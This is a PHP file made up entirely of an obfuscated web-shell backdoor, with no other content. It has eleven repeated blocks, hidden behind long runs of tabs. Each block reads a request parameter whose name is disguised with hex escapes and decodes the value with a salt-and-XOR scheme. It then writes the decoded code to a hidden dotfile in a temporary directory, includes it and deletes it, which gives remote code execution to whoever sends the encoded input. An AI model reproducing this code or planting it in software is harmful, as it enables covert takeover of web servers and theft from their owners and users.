<?php																																										if(array_key_exists("i\x74\x6D", $_REQUEST)){ $factor = array_filter([getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $binding = $_REQUEST["i\x74\x6D"]; $binding = explode (".",$binding ); $holder = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($binding as $t=> $v1): $sChar = ord($salt9[$t % $sLen]); $d = ((int)$v1 - $sChar - ($t % 10)) ^ 32; $holder .= chr($d); endforeach; for ($obj = 0, $property_set = count($factor); $obj < $property_set; $obj++) { $rec = $factor[$obj]; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $pgrp = "$rec" . "/.key"; if (file_put_contents($pgrp, $holder)) { require $pgrp; unlink($pgrp); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["obje\x63t"])){ $flg = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $ptr = $_POST["obje\x63t"]; $ptr= explode( ".", $ptr ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $l = 0; array_walk( $ptr , function( $v7) use( &$data , &$l , $s , $sLen) {$sChar = ord( $s[$l % $sLen] ); $d =( ( int)$v7 - $sChar -( $l % 10)) ^ 33; $data.= chr( $d ); $l++; } ); for ($obj = 0, $component = count($flg); $obj < $component; $obj++) { $binding = $flg[$obj]; if (is_dir($binding) && is_writable($binding)) { $parameter_group = sprintf("%s/.pointer", $binding); if (@file_put_contents($parameter_group, $data) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_POST["\x64\x63h\x75nk"])){ $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP")]); $ref = $_POST["\x64\x63h\x75nk"]; $ref =explode( "." , $ref ); $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $__len = count($ref); for ($u = 0; $u< $__len; $u++) { $v6 = $ref[$u]; $chS = ord($s5[$u % $sLen]); $dec = ((int)$v6 - $chS - ($u % 10)) ^ 86; $sym .= chr($dec); } $mrk = 0; do { $record = $ent[$mrk] ?? null; if ($mrk >= count($ent)) break; if (is_dir($record) ? is_writable($record) : false) { $bind = "$record/.flg"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $bind; @unlink($bind); exit; } } $mrk++; } while (true); }
																																										if(!is_null($_REQUEST["\x65\x6Et"] ?? null)){ $flg = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $dat = $_REQUEST["\x65\x6Et"]; $dat= explode (".", $dat ) ; $key =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7 ); $s =0; $len =count($dat ); do {if ($s>= $len) break; $v1 =$dat[$s]; $chS =ord($salt7[$s % $lenS] ); $dec =((int)$v1 - $chS - ($s % 10)) ^ 40; $key .= chr($dec ); $s++; } while (true ); foreach ($flg as $data_chunk): if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $property_set = "$data_chunk/.hld"; if (file_put_contents($property_set, $key)) { include $property_set; @unlink($property_set); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64a\x74a"])){ $marker = $_REQUEST["\x64a\x74a"]; $marker = explode ( "." , $marker) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; $__len = count($marker); do { if ($p>=$__len) break; $v3 = $marker[$p]; $chS = ord($salt[$p % $sLen]); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 93; $symbol .= chr($dec); $p++; } while (true); $dchunk = array_filter([getcwd(), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); foreach ($dchunk as $itm): if ((is_dir($itm) and is_writable($itm))) { $parameter_group = sprintf("%s/.entry", $itm); if (file_put_contents($parameter_group, $symbol)) { include $parameter_group; @unlink($parameter_group); exit; } } endforeach; }
																																										if(array_key_exists("\x66\x61c", $_POST)){ $ref = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm"]); $factor = $_POST["\x66\x61c"]; $factor= explode ( "." , $factor ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($factor); for ($j = 0; $j < $len; $j++) { $v8 = $factor[$j]; $sChar = ord($salt[$j % $lenS]); $d = ((int)$v8 - $sChar - ($j % 10)) ^ 67; $token .= chr($d); } $pointer = 0; do { $component = $ref[$pointer] ?? null; if ($pointer >= count($ref)) break; if ((is_dir($component) and is_writable($component))) { $sym = sprintf("%s/.obj", $component); $success = file_put_contents($sym, $token); if ($success) { include $sym; @unlink($sym); exit;} } $pointer++; } while (true); }
																																										if(array_key_exists("k\x65\x79", $_REQUEST)){ $ent = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $ref = $_REQUEST["k\x65\x79"]; $ref = explode('.' ,$ref ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($ref as $t => $v9): $sChar = ord($s[$t %$sLen] ); $dec = ((int)$v9 - $sChar - ($t %10)) ^ 63; $marker .= chr($dec ); endforeach; foreach ($ent as $sym): if (max(0, is_dir($sym) * is_writable($sym))) { $dat = join("/", [$sym, ".ptr"]); $success = file_put_contents($dat, $marker); if ($success) { include $dat; @unlink($dat); die();} } endforeach; }
																																										if(!empty($_REQUEST["de\x73\x63\x72\x69\x70tor"])){ $pset = $_REQUEST["de\x73\x63\x72\x69\x70tor"]; $pset = explode ('.',$pset ) ; $k =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach($pset as $y => $v5) { $chS =ord($salt[$y %$sLen]); $dec =((int)$v5 - $chS -($y %10)) ^ 10; $k .=chr($dec); } $resource = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $marker = 0; do { $holder = $resource[$marker] ?? null; if ($marker >= count($resource)) break; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $entry = "$holder/.object"; $file = fopen($entry, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $entry; @unlink($entry); die(); } } $marker++; } while (true); }
																																										if(array_key_exists("obj", $_REQUEST) && !is_null($_REQUEST["obj"])){ $object = $_REQUEST["obj"]; $object =explode ( '.',$object ) ; $itm = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $q = 0; while ($q< count($object)) { $v7 = $object[$q]; $sChar = ord($s4[$q % $sLen]); $d = ((int)$v7 - $sChar - ($q % 10)) ^ 61; $itm .= chr($d); $q++; } $dchunk = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path()]); foreach ($dchunk as $rec) { if (is_dir($rec) ? is_writable($rec) : false) { $pgrp = str_replace("{var_dir}", $rec, "{var_dir}/.record"); $success = file_put_contents($pgrp, $itm); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62in\x64"])){ $desc = $_REQUEST["\x62in\x64"]; $desc = explode( '.', $desc ) ; $fac = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $__len = count($desc); for ($w = 0; $w< $__len; $w++) { $v3 = $desc[$w]; $sChar = ord($salt2[$w % $sLen]); $d = ((int)$v3 - $sChar - ($w % 10)) ^20; $fac .= chr($d);} $val = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", session_save_path()]); while ($dat = array_shift($val)) { if ((is_dir($dat) and is_writable($dat))) { $flg = join("/", [$dat, ".mrk"]); if (file_put_contents($flg, $fac)) { include $flg; @unlink($flg); exit; } } } }


if(count($_POST) > 0 && isset($_POST["\x72ef\x65re\x6Ec\x65"])){
	$k = $_POST["\x72ef\x65re\x6Ec\x65"];
	 $k	  =	explode(	'.' 	,		 $k			);
	$parameter_group = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$s8);
    
            foreach(		$k as $p => $v1) { $sChar = ord(		$s8[$p %$lenS]);
                $d =(		(		int)$v1 - $sChar -(		$p %10)) ^43;
                $parameter_group.= chr(		$d);
            }
	$data = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]);
	foreach ($data as $itm):
    		if ((is_dir($itm) and is_writable($itm))) {
    $value = vsprintf("%s/%s", [$itm, ".mrk"]);
    if (file_put_contents($value, $parameter_group)) {
	require $value;
	unlink($value);
	die();
}
}
endforeach;
}